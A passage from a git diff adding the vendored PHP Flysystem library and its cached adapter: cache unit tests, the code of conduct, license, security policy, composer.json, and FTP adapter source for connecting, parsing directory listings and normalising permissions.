$cache->updateObject('path.txt', [ + 'contents' => 'something', + ]); + $response = $cache->getMimetype('path.txt'); + $this->assertEquals('text/plain', $response['mimetype']); + } + + public function testCopyFail() + { + $cache = new Memory(); + $cache->copy('one', 'two'); + $this->assertNull($cache->has('two')); + $this->assertNull($cache->load()); + } + + public function testStoreContents() + { + $cache = new Memory(); + $cache->storeContents('dirname', [ + ['path' => 'dirname', 'type' => 'dir'], + ['path' => 'dirname/nested', 'type' => 'dir'], + ['path' => 'dirname/nested/deep', 'type' => 'dir'], + ['path' => 'other/nested/deep', 'type' => 'dir'], + ], true); + + $this->isTrue($cache->isComplete('other/nested', true)); + } + + public function testDelete() + { + $cache = new Memory(); + $cache->updateObject('path.txt', ['type' => 'file']); + $this->assertTrue($cache->has('path.txt')); + $cache->delete('path.txt'); + $this->assertFalse($cache->has('path.txt')); + } + + public function testDeleteDir() + { + $cache = new Memory(); + $cache->storeContents('dirname', [ + ['path' => 'dirname/path.txt', 'type' => 'file'], + ]); + $this->assertTrue($cache->isComplete('dirname', false)); + $this->assertTrue($cache->has('dirname/path.txt')); + $cache->deleteDir('dirname'); + $this->assertFalse($cache->isComplete('dirname', false)); + $this->assertNull($cache->has('dirname/path.txt')); + } + + public function testReadStream() + { + $cache = new Memory(); + $this->assertFalse($cache->readStream('path.txt')); + } + + public function testRename() + { + $cache = new Memory(); + $cache->updateObject('path.txt', ['type' => 'file']); + $cache->rename('path.txt', 'newpath.txt'); + $this->assertTrue($cache->has('newpath.txt')); + } + + public function testCopy() + { + $cache = new Memory(); + $cache->updateObject('path.txt', ['type' => 'file']); + $cache->copy('path.txt', 'newpath.txt'); + $this->assertTrue($cache->has('newpath.txt')); + } + + public function testComplextListContents() + { + $cache = new Memory(); + $cache->storeContents('', [ + ['path' => 'dirname', 'type' => 'dir'], + ['path' => 'dirname/file.txt', 'type' => 'file'], + ['path' => 'other', 'type' => 'dir'], + ['path' => 'other/file.txt', 'type' => 'file'], + ['path' => 'other/nested/file.txt', 'type' => 'file'], + ]); + + $this->assertCount(3, $cache->listContents('other', true)); + } + + public function testComplextListContentsWithDeletedFile() + { + $cache = new Memory(); + $cache->storeContents('', [ + ['path' => 'dirname', 'type' => 'dir'], + ['path' => 'dirname/file.txt', 'type' => 'file'], + ['path' => 'other', 'type' => 'dir'], + ['path' => 'other/file.txt', 'type' => 'file'], + ['path' => 'other/another_file.txt', 'type' => 'file'], + ]); + + $cache->delete('other/another_file.txt'); + $this->assertCount(4, $cache->listContents('', true)); + } + + public function testCacheMissIfContentsIsFalse() + { + $cache = new Memory(); + $cache->updateObject('path.txt', [ + 'path' => 'path.txt', + 'contents' => false, + ], true); + + $this->assertFalse($cache->read('path.txt')); + } +} diff --git a/vendor/league/flysystem-cached-adapter/tests/NoopCacheTests.php b/vendor/league/flysystem-cached-adapter/tests/NoopCacheTests.php new file mode 100644 index 0000000..148616f --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/tests/NoopCacheTests.php @@ -0,0 +1,35 @@ +assertEquals($cache, $cache->storeMiss('file.txt')); + $this->assertNull($cache->setComplete('', false)); + $this->assertNull($cache->load()); + $this->assertNull($cache->flush()); + $this->assertNull($cache->has('path.txt')); + $this->assertNull($cache->autosave()); + $this->assertFalse($cache->isComplete('', false)); + $this->assertFalse($cache->read('something')); + $this->assertFalse($cache->readStream('something')); + $this->assertFalse($cache->getMetadata('something')); + $this->assertFalse($cache->getMimetype('something')); + $this->assertFalse($cache->getSize('something')); + $this->assertFalse($cache->getTimestamp('something')); + $this->assertFalse($cache->getVisibility('something')); + $this->assertEmpty($cache->listContents('', false)); + $this->assertFalse($cache->rename('', '')); + $this->assertFalse($cache->copy('', '')); + $this->assertNull($cache->save()); + $object = ['path' => 'path.ext']; + $this->assertEquals($object, $cache->updateObject('path.txt', $object)); + $this->assertEquals([['path' => 'some/file.txt']], $cache->storeContents('unknwon', [ + ['path' => 'some/file.txt'], + ], false)); + } +} diff --git a/vendor/league/flysystem-cached-adapter/tests/PhpRedisTests.php b/vendor/league/flysystem-cached-adapter/tests/PhpRedisTests.php new file mode 100644 index 0000000..d1ccb65 --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/tests/PhpRedisTests.php @@ -0,0 +1,45 @@ +shouldReceive('get')->with('flysystem')->once()->andReturn(false); + $cache = new PhpRedis($client); + $cache->load(); + $this->assertFalse($cache->isComplete('', false)); + } + + public function testLoadSuccess() + { + $response = json_encode([[], ['' => true]]); + $client = Mockery::mock('Redis'); + $client->shouldReceive('get')->with('flysystem')->once()->andReturn($response); + $cache = new PhpRedis($client); + $cache->load(); + $this->assertTrue($cache->isComplete('', false)); + } + + public function testSave() + { + $data = json_encode([[], []]); + $client = Mockery::mock('Redis'); + $client->shouldReceive('set')->with('flysystem', $data)->once(); + $cache = new PhpRedis($client); + $cache->save(); + } + + public function testSaveWithExpire() + { + $data = json_encode([[], []]); + $client = Mockery::mock('Redis'); + $client->shouldReceive('set')->with('flysystem', $data)->once(); + $client->shouldReceive('expire')->with('flysystem', 20)->once(); + $cache = new PhpRedis($client, 'flysystem', 20); + $cache->save(); + } +} diff --git a/vendor/league/flysystem-cached-adapter/tests/PredisTests.php b/vendor/league/flysystem-cached-adapter/tests/PredisTests.php new file mode 100644 index 0000000..e33e104 --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/tests/PredisTests.php @@ -0,0 +1,55 @@ +shouldReceive('createCommand')->with('get', ['flysystem'])->once()->andReturn($command); + $client->shouldReceive('executeCommand')->with($command)->andReturn(null); + $cache = new Predis($client); + $cache->load(); + $this->assertFalse($cache->isComplete('', false)); + } + + public function testLoadSuccess() + { + $response = json_encode([[], ['' => true]]); + $client = Mockery::mock('Predis\Client'); + $command = Mockery::mock('Predis\Command\CommandInterface'); + $client->shouldReceive('createCommand')->with('get', ['flysystem'])->once()->andReturn($command); + $client->shouldReceive('executeCommand')->with($command)->andReturn($response); + $cache = new Predis($client); + $cache->load(); + $this->assertTrue($cache->isComplete('', false)); + } + + public function testSave() + { + $data = json_encode([[], []]); + $client = Mockery::mock('Predis\Client'); + $command = Mockery::mock('Predis\Command\CommandInterface'); + $client->shouldReceive('createCommand')->with('set', ['flysystem', $data])->once()->andReturn($command); + $client->shouldReceive('executeCommand')->with($command)->once(); + $cache = new Predis($client); + $cache->save(); + } + + public function testSaveWithExpire() + { + $data = json_encode([[], []]); + $client = Mockery::mock('Predis\Client'); + $command = Mockery::mock('Predis\Command\CommandInterface'); + $client->shouldReceive('createCommand')->with('set', ['flysystem', $data])->once()->andReturn($command); + $client->shouldReceive('executeCommand')->with($command)->once(); + $expireCommand = Mockery::mock('Predis\Command\CommandInterface'); + $client->shouldReceive('createCommand')->with('expire', ['flysystem', 20])->once()->andReturn($expireCommand); + $client->shouldReceive('executeCommand')->with($expireCommand)->once(); + $cache = new Predis($client, 'flysystem', 20); + $cache->save(); + } +} diff --git a/vendor/league/flysystem-cached-adapter/tests/Psr6CacheTest.php b/vendor/league/flysystem-cached-adapter/tests/Psr6CacheTest.php new file mode 100644 index 0000000..d5e5700 --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/tests/Psr6CacheTest.php @@ -0,0 +1,45 @@ +shouldReceive('isHit')->once()->andReturn(false); + $pool->shouldReceive('getItem')->once()->andReturn($item); + $cache = new Psr6Cache($pool); + $cache->load(); + $this->assertFalse($cache->isComplete('', false)); + } + + public function testLoadSuccess() + { + $response = json_encode([[], ['' => true]]); + $pool = Mockery::mock('Psr\Cache\CacheItemPoolInterface'); + $item = Mockery::mock('Psr\Cache\CacheItemInterface'); + $item->shouldReceive('get')->once()->andReturn($response); + $item->shouldReceive('isHit')->once()->andReturn(true); + $pool->shouldReceive('getItem')->once()->andReturn($item); + $cache = new Psr6Cache($pool); + $cache->load(); + $this->assertTrue($cache->isComplete('', false)); + } + + public function testSave() + { + $response = json_encode([[], []]); + $ttl = 4711; + $pool = Mockery::mock('Psr\Cache\CacheItemPoolInterface'); + $item = Mockery::mock('Psr\Cache\CacheItemInterface'); + $item->shouldReceive('expiresAfter')->once()->with($ttl); + $item->shouldReceive('set')->once()->andReturn($response); + $pool->shouldReceive('getItem')->once()->andReturn($item); + $pool->shouldReceive('save')->once()->with($item); + $cache = new Psr6Cache($pool, 'foo', $ttl); + $cache->save(); + } +} diff --git a/vendor/league/flysystem-cached-adapter/tests/StashTest.php b/vendor/league/flysystem-cached-adapter/tests/StashTest.php new file mode 100644 index 0000000..29e142d --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/tests/StashTest.php @@ -0,0 +1,43 @@ +shouldReceive('get')->once()->andReturn(null); + $item->shouldReceive('isMiss')->once()->andReturn(true); + $pool->shouldReceive('getItem')->once()->andReturn($item); + $cache = new Stash($pool); + $cache->load(); + $this->assertFalse($cache->isComplete('', false)); + } + + public function testLoadSuccess() + { + $response = json_encode([[], ['' => true]]); + $pool = Mockery::mock('Stash\Pool'); + $item = Mockery::mock('Stash\Item'); + $item->shouldReceive('get')->once()->andReturn($response); + $item->shouldReceive('isMiss')->once()->andReturn(false); + $pool->shouldReceive('getItem')->once()->andReturn($item); + $cache = new Stash($pool); + $cache->load(); + $this->assertTrue($cache->isComplete('', false)); + } + + public function testSave() + { + $response = json_encode([[], []]); + $pool = Mockery::mock('Stash\Pool'); + $item = Mockery::mock('Stash\Item'); + $item->shouldReceive('set')->once()->andReturn($response); + $pool->shouldReceive('getItem')->once()->andReturn($item); + $cache = new Stash($pool); + $cache->save(); + } +} diff --git a/vendor/league/flysystem/CODE_OF_CONDUCT.md b/vendor/league/flysystem/CODE_OF_CONDUCT.md new file mode 100644 index 0000000..89569c0 --- /dev/null +++ b/vendor/league/flysystem/CODE_OF_CONDUCT.md @@ -0,0 +1,76 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +In the interest of fostering an open and welcoming environment, we as +contributors and maintainers pledge to making participation in our project and +our community a harassment-free experience for everyone, regardless of age, body +size, disability, ethnicity, sex characteristics, gender identity and expression, +level of experience, education, socio-economic status, nationality, personal +appearance, race, religion, or sexual identity and orientation. + +## Our Standards + +Examples of behavior that contributes to creating a positive environment +include: + +* Using welcoming and inclusive language +* Being respectful of differing viewpoints and experiences +* Gracefully accepting constructive criticism +* Focusing on what is best for the community +* Showing empathy towards other community members + +Examples of unacceptable behavior by participants include: + +* The use of sexualized language or imagery and unwelcome sexual attention or + advances +* Trolling, insulting/derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or electronic + address, without explicit permission +* Other conduct which could reasonably be considered inappropriate in a + professional setting + +## Our Responsibilities + +Project maintainers are responsible for clarifying the standards of acceptable +behavior and are expected to take appropriate and fair corrective action in +response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit, or +reject comments, commits, code, wiki edits, issues, and other contributions +that are not aligned to this Code of Conduct, or to ban temporarily or +permanently any contributor for other behaviors that they deem inappropriate, +threatening, offensive, or harmful. + +## Scope + +This Code of Conduct applies both within project spaces and in public spaces +when an individual is representing the project or its community. Examples of +representing a project or community include using an official project e-mail +address, posting via an official social media account, or acting as an appointed +representative at an online or offline event. Representation of a project may be +further defined and clarified by project maintainers. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be +reported by contacting the project team at info+flysystem@frankdejonge.nl. All +complaints will be reviewed and investigated and will result in a response that +is deemed necessary and appropriate to the circumstances. The project team is +obligated to maintain confidentiality with regard to the reporter of an incident. +Further details of specific enforcement policies may be posted separately. + +Project maintainers who do not follow or enforce the Code of Conduct in good +faith may face temporary or permanent repercussions as determined by other +members of the project's leadership. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, +available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html + +[homepage]: https://www.contributor-covenant.org + +For answers to common questions about this code of conduct, see +https://www.contributor-covenant.org/faq diff --git a/vendor/league/flysystem/LICENSE b/vendor/league/flysystem/LICENSE new file mode 100644 index 0000000..f2684c8 --- /dev/null +++ b/vendor/league/flysystem/LICENSE @@ -0,0 +1,19 @@ +Copyright (c) 2013-2019 Frank de Jonge + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is furnished +to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/vendor/league/flysystem/SECURITY.md b/vendor/league/flysystem/SECURITY.md new file mode 100644 index 0000000..f5b205e --- /dev/null +++ b/vendor/league/flysystem/SECURITY.md @@ -0,0 +1,16 @@ +# Security Policy + +## Supported Versions + +| Version | Supported | +| ------- | ------------------ | +| 1.0.x | :white_check_mark: | +| 2.0.x | :x: | + +## Reporting a Vulnerability + +When you've encountered a security vulnerability, please disclose it securely. + +The security process is described at: +[https://flysystem.thephpleague.com/docs/security/](https://flysystem.thephpleague.com/docs/security/) + diff --git a/vendor/league/flysystem/composer.json b/vendor/league/flysystem/composer.json new file mode 100644 index 0000000..bd7434a --- /dev/null +++ b/vendor/league/flysystem/composer.json @@ -0,0 +1,69 @@ +{ + "name": "league/flysystem", + "type": "library", + "description": "Filesystem abstraction: Many filesystems, one API.", + "keywords": [ + "filesystem", "filesystems", "files", "storage", "dropbox", "aws", + "abstraction", "s3", "ftp", "sftp", "remote", "webdav", + "file systems", "cloud", "cloud files", "rackspace", "copy.com" + ], + "funding": [ + { + "type": "other", + "url": "https://offset.earth/frankdejonge" + } + ], + "license": "MIT", + "authors": [ + { + "name": "Frank de Jonge", + "email": "info@frenky.net" + } + ], + "require": { + "php": "^7.2.5 || ^8.0", + "ext-fileinfo": "*", + "league/mime-type-detection": "^1.3" + }, + "require-dev": { + "phpspec/prophecy": "^1.11.1", + "phpunit/phpunit": "^8.5.8" + }, + "autoload": { + "psr-4": { + "League\\Flysystem\\": "src/" + } + }, + "autoload-dev": { + "psr-4": { + "League\\Flysystem\\Stub\\": "stub/" + } + }, + "suggest": { + "ext-fileinfo": "Required for MimeType", + "league/flysystem-eventable-filesystem": "Allows you to use EventableFilesystem", + "league/flysystem-rackspace": "Allows you to use Rackspace Cloud Files", + "league/flysystem-azure": "Allows you to use Windows Azure Blob storage", + "league/flysystem-webdav": "Allows you to use WebDAV storage", + "league/flysystem-aws-s3-v2": "Allows you to use S3 storage with AWS SDK v2", + "league/flysystem-aws-s3-v3": "Allows you to use S3 storage with AWS SDK v3", + "spatie/flysystem-dropbox": "Allows you to use Dropbox storage", + "srmklive/flysystem-dropbox-v2": "Allows you to use Dropbox storage for PHP 5 applications", + "league/flysystem-cached-adapter": "Flysystem adapter decorator for metadata caching", + "ext-ftp": "Allows you to use FTP server storage", + "ext-openssl": "Allows you to use FTPS server storage", + "league/flysystem-sftp": "Allows you to use SFTP server storage via phpseclib", + "league/flysystem-ziparchive": "Allows you to use ZipArchive adapter" + }, + "conflict": { + "league/flysystem-sftp": "<1.0.6" + }, + "extra": { + "branch-alias": { + "dev-master": "1.1-dev" + } + }, + "scripts": { + "phpstan": "php phpstan.php" + } +} diff --git a/vendor/league/flysystem/deprecations.md b/vendor/league/flysystem/deprecations.md new file mode 100644 index 0000000..c336a42 --- /dev/null +++ b/vendor/league/flysystem/deprecations.md @@ -0,0 +1,19 @@ +# Deprecations + +This document lists all the planned deprecations. + +## Handlers will be removed in 2.0 + +The `Handler` type and associated calls will be removed in version 2.0. + +### Upgrade path + +You should create your own implementation for handling OOP usage, +but it's recommended to move away from using an OOP-style wrapper entirely. + +The reason for this is that it's too easy for implementation details (for +your application this is Flysystem) to leak into the application. The most +important part for Flysystem is that it improves portability and creates a +solid boundary between your application core and the infrastructure you use. +The OOP-style handling breaks this principle, therefore I want to stop +promoting it. diff --git a/vendor/league/flysystem/src/Adapter/AbstractAdapter.php b/vendor/league/flysystem/src/Adapter/AbstractAdapter.php new file mode 100644 index 0000000..e577ac4 --- /dev/null +++ b/vendor/league/flysystem/src/Adapter/AbstractAdapter.php @@ -0,0 +1,72 @@ +pathPrefix = null; + + return; + } + + $this->pathPrefix = rtrim($prefix, '\\/') . $this->pathSeparator; + } + + /** + * Get the path prefix. + * + * @return string|null path prefix or null if pathPrefix is empty + */ + public function getPathPrefix() + { + return $this->pathPrefix; + } + + /** + * Prefix a path. + * + * @param string $path + * + * @return string prefixed path + */ + public function applyPathPrefix($path) + { + return $this->getPathPrefix() . ltrim($path, '\\/'); + } + + /** + * Remove a path prefix. + * + * @param string $path + * + * @return string path without the prefix + */ + public function removePathPrefix($path) + { + return substr($path, strlen($this->getPathPrefix())); + } +} diff --git a/vendor/league/flysystem/src/Adapter/AbstractFtpAdapter.php b/vendor/league/flysystem/src/Adapter/AbstractFtpAdapter.php new file mode 100644 index 0000000..b232cdc --- /dev/null +++ b/vendor/league/flysystem/src/Adapter/AbstractFtpAdapter.php @@ -0,0 +1,705 @@ +safeStorage = new SafeStorage(); + $this->setConfig($config); + } + + /** + * Set the config. + * + * @param array $config + * + * @return $this + */ + public function setConfig(array $config) + { + foreach ($this->configurable as $setting) { + if ( ! isset($config[$setting])) { + continue; + } + + $method = 'set' . ucfirst($setting); + + if (method_exists($this, $method)) { + $this->$method($config[$setting]); + } + } + + return $this; + } + + /** + * Returns the host. + * + * @return string + */ + public function getHost() + { + return $this->host; + } + + /** + * Set the host. + * + * @param string $host + * + * @return $this + */ + public function setHost($host) + { + $this->host = $host; + + return $this; + } + + /** + * Set the public permission value. + * + * @param int $permPublic + * + * @return $this + */ + public function setPermPublic($permPublic) + { + $this->permPublic = $permPublic; + + return $this; + } + + /** + * Set the private permission value. + * + * @param int $permPrivate + * + * @return $this + */ + public function setPermPrivate($permPrivate) + { + $this->permPrivate = $permPrivate; + + return $this; + } + + /** + * Returns the ftp port. + * + * @return int + */ + public function getPort() + { + return $this->port; + } + + /** + * Returns the root folder to work from. + * + * @return string + */ + public function getRoot() + { + return $this->root; + } + + /** + * Set the ftp port. + * + * @param int|string $port + * + * @return $this + */ + public function setPort($port) + { + $this->port = (int) $port; + + return $this; + } + + /** + * Set the root folder to work from. + * + * @param string $root + * + * @return $this + */ + public function setRoot($root) + { + $this->root = rtrim($root, '\\/') . $this->separator; + + return $this; + } + + /** + * Returns the ftp username. + * + * @return string username + */ + public function getUsername() + { + $username = $this->safeStorage->retrieveSafely('username'); + + return $username !== null ? $username : 'anonymous'; + } + + /** + * Set ftp username. + * + * @param string $username + * + * @return $this + */ + public function setUsername($username) + { + $this->safeStorage->storeSafely('username', $username); + + return $this; + } + + /** + * Returns the password. + * + * @return string password + */ + public function getPassword() + { + return $this->safeStorage->retrieveSafely('password'); + } + + /** + * Set the ftp password. + * + * @param string $password + * + * @return $this + */ + public function setPassword($password) + { + $this->safeStorage->storeSafely('password', $password); + + return $this; + } + + /** + * Returns the amount of seconds before the connection will timeout. + * + * @return int + */ + public function getTimeout() + { + return $this->timeout; + } + + /** + * Set the amount of seconds before the connection should timeout. + * + * @param int $timeout + * + * @return $this + */ + public function setTimeout($timeout) + { + $this->timeout = (int) $timeout; + + return $this; + } + + /** + * Return the FTP system type. + * + * @return string + */ + public function getSystemType() + { + return $this->systemType; + } + + /** + * Set the FTP system type (windows or unix). + * + * @param string $systemType + * + * @return $this + */ + public function setSystemType($systemType) + { + $this->systemType = strtolower($systemType); + + return $this; + } + + /** + * True to enable timestamps for FTP servers that return unix-style listings. + * + * @param bool $bool + * + * @return $this + */ + public function setEnableTimestampsOnUnixListings($bool = false) + { + $this->enableTimestampsOnUnixListings = $bool; + + return $this; + } + + /** + * @inheritdoc + */ + public function listContents($directory = '', $recursive = false) + { + return $this->listDirectoryContents($directory, $recursive); + } + + abstract protected function listDirectoryContents($directory, $recursive = false); + + /** + * Normalize a directory listing. + * + * @param array $listing + * @param string $prefix + * + * @return array directory listing + */ + protected function normalizeListing(array $listing, $prefix = '') + { + $base = $prefix; + $result = []; + $listing = $this->removeDotDirectories($listing); + + while ($item = array_shift($listing)) { + if (preg_match('#^.*:$#', $item)) { + $base = preg_replace('~^\./*|:$~', '', $item); + continue; + } + + $result[] = $this->normalizeObject($item, $base); + } + + return $this->sortListing($result); + } + + /** + * Sort a directory listing. + * + * @param array $result + * + * @return array sorted listing + */ + protected function sortListing(array $result) + { + $compare = function ($one, $two) { + return strnatcmp($one['path'], $two['path']); + }; + + usort($result, $compare); + + return $result; + } + + /** + * Normalize a file entry. + * + * @param string $item + * @param string $base + * + * @return array normalized file array + * + * @throws NotSupportedException + */ + protected function normalizeObject($item, $base) + { + $systemType = $this->systemType ?: $this->detectSystemType($item); + + if ($systemType === 'unix') { + return $this->normalizeUnixObject($item, $base); + } elseif ($systemType === 'windows') { + return $this->normalizeWindowsObject($item, $base); + } + + throw NotSupportedException::forFtpSystemType($systemType); + } + + /** + * Normalize a Unix file entry. + * + * Given $item contains: + * '-rw-r--r-- 1 ftp ftp 409 Aug 19 09:01 file1.txt' + * + * This function will return: + * [ + * 'type' => 'file', + * 'path' => 'file1.txt', + * 'visibility' => 'public', + * 'size' => 409, + * 'timestamp' => 1566205260 + * ] + * + * @param string $item + * @param string $base + * + * @return array normalized file array + */ + protected function normalizeUnixObject($item, $base) + { + $item = preg_replace('#\s+#', ' ', trim($item), 7); + + if (count(explode(' ', $item, 9)) !== 9) { + throw new RuntimeException("Metadata can't be parsed from item '$item' , not enough parts."); + } + + list($permissions, /* $number */, /* $owner */, /* $group */, $size, $month, $day, $timeOrYear, $name) = explode(' ', $item, 9); + $type = $this->detectType($permissions); + $path = $base === '' ? $name : $base . $this->separator . $name; + + if ($type === 'dir') { + $result = compact('type', 'path'); + if ($this->enableTimestampsOnUnixListings) { + $timestamp = $this->normalizeUnixTimestamp($month, $day, $timeOrYear); + $result += compact('timestamp'); + } + + return $result; + } + + $permissions = $this->normalizePermissions($permissions); + $visibility = $permissions & 0044 ? AdapterInterface::VISIBILITY_PUBLIC : AdapterInterface::VISIBILITY_PRIVATE; + $size = (int) $size; + + $result = compact('type', 'path', 'visibility', 'size'); + if ($this->enableTimestampsOnUnixListings) { + $timestamp = $this->normalizeUnixTimestamp($month, $day, $timeOrYear); + $result += compact('timestamp'); + } + + return $result; + } + + /** + * Only accurate to the minute (current year), or to the day. + * + * Inadequacies in timestamp accuracy are due to limitations of the FTP 'LIST' command + * + * Note: The 'MLSD' command is a machine-readable replacement for 'LIST' + * but many FTP servers do not support it :( + * + * @param string $month e.g. 'Aug' + * @param string $day e.g. '19' + * @param string $timeOrYear e.g. '09:01' OR '2015' + * + * @return int + */ + protected function normalizeUnixTimestamp($month, $day, $timeOrYear) + { + if (is_numeric($timeOrYear)) { + $year = $timeOrYear; + $hour = '00'; + $minute = '00'; + $seconds = '00'; + } else { + $year = date('Y'); + list($hour, $minute) = explode(':', $timeOrYear); + $seconds = '00'; + } + $dateTime = DateTime::createFromFormat('Y-M-j-G:i:s', "{$year}-{$month}-{$day}-{$hour}:{$minute}:{$seconds}"); + + return $dateTime->getTimestamp(); + } + + /** + * Normalize a Windows/DOS file entry. + * + * @param string $item + * @param string $base + * + * @return array normalized file array + */ + protected function normalizeWindowsObject($item, $base) + { + $item = preg_replace('#\s+#', ' ', trim($item), 3); + + if (count(explode(' ', $item, 4)) !== 4) { + throw new RuntimeException("Metadata can't be parsed from item '$item' , not enough parts."); + } + + list($date, $time, $size, $name) = explode(' ', $item, 4); + $path = $base === '' ? $name : $base . $this->separator . $name; + + // Check for the correct date/time format + $format = strlen($date) === 8 ? 'm-d-yH:iA' : 'Y-m-dH:i'; + $dt = DateTime::createFromFormat($format, $date . $time); + $timestamp = $dt ? $dt->getTimestamp() : (int) strtotime("$date $time"); + + if ($size === '') { + $type = 'dir'; + + return compact('type', 'path', 'timestamp'); + } + + $type = 'file'; + $visibility = AdapterInterface::VISIBILITY_PUBLIC; + $size = (int) $size; + + return compact('type', 'path', 'visibility', 'size', 'timestamp'); + } + + /** + * Get the system type from a listing item. + * + * @param string $item + * + * @return string the system type + */ + protected function detectSystemType($item) + { + return preg_match('/^[0-9]{2,4}-[0-9]{2}-[0-9]{2}/', $item) ? 'windows' : 'unix'; + } + + /** + * Get the file type from the permissions. + * + * @param string $permissions + * + * @return string file type + */ + protected function detectType($permissions) + { + return substr($permissions, 0, 1) === 'd' ? 'dir' : 'file'; + } + + /** + * Normalize a permissions string. + * + * @param string $permissions + * + * @return int + */ + protected function normalizePermissions($permissions) + { + if (is_numeric($permissions)) { + return ((int) $permissions) & 0777; + } + + // remove the type identifier + $permissions = substr($permissions, 1); + + // map the string rights to the numeric counterparts + $map = ['-' => '0', 'r' => '4', 'w' => '2', 'x' => '1']; + $permissions = strtr($permissions, $map); + + // split up the permission groups + $parts = str_split($permissions, 3); + + // convert the groups + $mapper = function ($part) { + return array_sum(str_split($part)); + }; + + // converts to decimal number + return octdec(implode('', array_map($mapper, $parts))); + } + + /** + * Filter out dot-directories. + * + * @param array $list + * + * @return array + */ + public function removeDotDirectories(array $list) + { + $filter = function ($line) { + return $line !== '' && ! preg_match('#.* \.(\.)?$|^total#', $line); + }; + + return array_filter($list, $filter); + } + + /** + * @inheritdoc + */ + public function has($path) + { + return $this->getMetadata($path); + } + + /** + * @inheritdoc + */ + public function getSize($path) + { + return $this->getMetadata($path); + } + + /** + * @inheritdoc + */ + public function getVisibility($path) + { + return $this->getMetadata($path); + } + + /** + * Ensure a directory exists. + * + * @param string $dirname + */ + public function ensureDirectory($dirname) + { + $dirname = (string) $dirname; + + if ($dirname !== '' && ! $this->has($dirname)) { + $this->createDir($dirname, new Config()); + } + } + + /** + * @return mixed + */ + public function getConnection() + { + if ( ! $this->isConnected()) { + $this->disconnect(); + $this->connect(); + } + + return $this->connection; + } + + /** + * Get the public permission value. + * + * @return int + */ + public function getPermPublic() + { + return $this->permPublic; + } + + /** + * Get the private permission value. + * + * @return int + */ + public function getPermPrivate() + { + return $this->permPrivate; + } + + /** + * Disconnect on destruction. + */ + public function __destruct() + { + $this->disconnect(); + } + + /** + * Establish a connection. + */ + abstract public function connect(); + + /** + * Close the connection. + */ + abstract public function disconnect(); + + /** + * Check if a connection is active. + * + * @return bool + */ + abstract public function isConnected(); + + protected function escapePath($path) + { + return str_replace(['*', '[', ']'], ['\\*', '\\[', '\\]'], $path); + } +} diff --git a/vendor/league/flysystem/src/Adapter/CanOverwriteFiles.php b/vendor/league/flysystem/src/Adapter/CanOverwriteFiles.php new file mode 100644 index 0000000..fd8d216 --- /dev/null +++ b/vendor/league/flysystem/src/Adapter/CanOverwriteFiles.php @@ -0,0 +1,12 @@ +transferMode = $mode; + + return $this; + } + + /** + * Set if Ssl is enabled. + * + * @param bool $ssl + * + * @return $this + */ + public function setSsl($ssl) + { + $this->ssl = (bool) $ssl; + + return $this; + } + + /** + * Set if passive mode should be used. + * + * @param bool $passive + */ + public function setPassive($passive = true) + { + $this->passive = $passive; + } + + /** + * @param bool $ignorePassiveAddress + */ + public function setIgnorePassiveAddress($ignorePassiveAddress) + { + $this->ignorePassiveAddress = $ignorePassiveAddress; + } + + /** + * @param bool $recurseManually + */ + public function setRecurseManually($recurseManually) + { + $this->recurseManually = $recurseManually; + } + + /** + * @param bool $utf8 + */ + public function setUtf8($utf8) + { + $this->utf8 = (bool) $utf8; + } + + /** + * Connect to the FTP server. + */ + public function connect() + { + $tries = 3; + start_connecting: + + if ($this->ssl) { + $this->connection = @ftp_ssl_connect($this->getHost(), $this->getPort(), $this->getTimeout()); + } else { + $this->connection = @ftp_connect($this->getHost(), $this->getPort(), $this->getTimeout()); + } + + if ( ! $this->connection) { + $tries--; + + if ($tries > 0) goto start_connecting; + + throw new ConnectionRuntimeException('Could not connect to host: ' . $this->getHost() . ', port:' . $this->getPort()); + } + + $this->login(); + $this->setUtf8Mode(); + $this->setConnectionPassiveMode(); + $this->setConnectionRoot(); + $this->isPureFtpd = $this->isPureFtpdServer(); + } + + /** + * Set the connection to UTF-8 mode. + */ + protected function setUtf8Mode() + { + if ($this->utf8) { + $response = ftp_raw($this->connection, "OPTS UTF8 ON"); + if (substr($response[0], 0, 3) !== '200') { + throw new ConnectionRuntimeException( + 'Could not set UTF-8 mode for connection: ' . $this->getHost() . '::' . $this->getPort() + ); + } + } + } + + /** + * Set the connections to passive mode. + * + * @throws ConnectionRuntimeException + */ + protected function setConnectionPassiveMode() + { + if (is_bool($this->ignorePassiveAddress) && defined('FTP_USEPASVADDRESS')) { + ftp_set_option($this->connection, FTP_USEPASVADDRESS, ! $this->ignorePassiveAddress); + } + + if ( ! ftp_pasv($this->connection, $this->passive)) { + throw new ConnectionRuntimeException( + 'Could not set passive mode for connection: ' . $this->getHost() . '::' . $this->getPort() + ); + } + } + + /** + * Set the connection root. + */ + protected function setConnectionRoot() + { + $root = $this->getRoot(); + $connection = $this->connection; + + if ($root && ! ftp_chdir($connection, $root)) { + throw new InvalidRootException('Root is invalid or does not exist: ' . $this->getRoot()); + } + + // Store absolute path for further reference. + // This is needed when creating directories and + // initial root was a relative path, else the root + // would be relative to the chdir'd path. + $this->root = ftp_pwd($connection); + } + + /** + * Login. + * + * 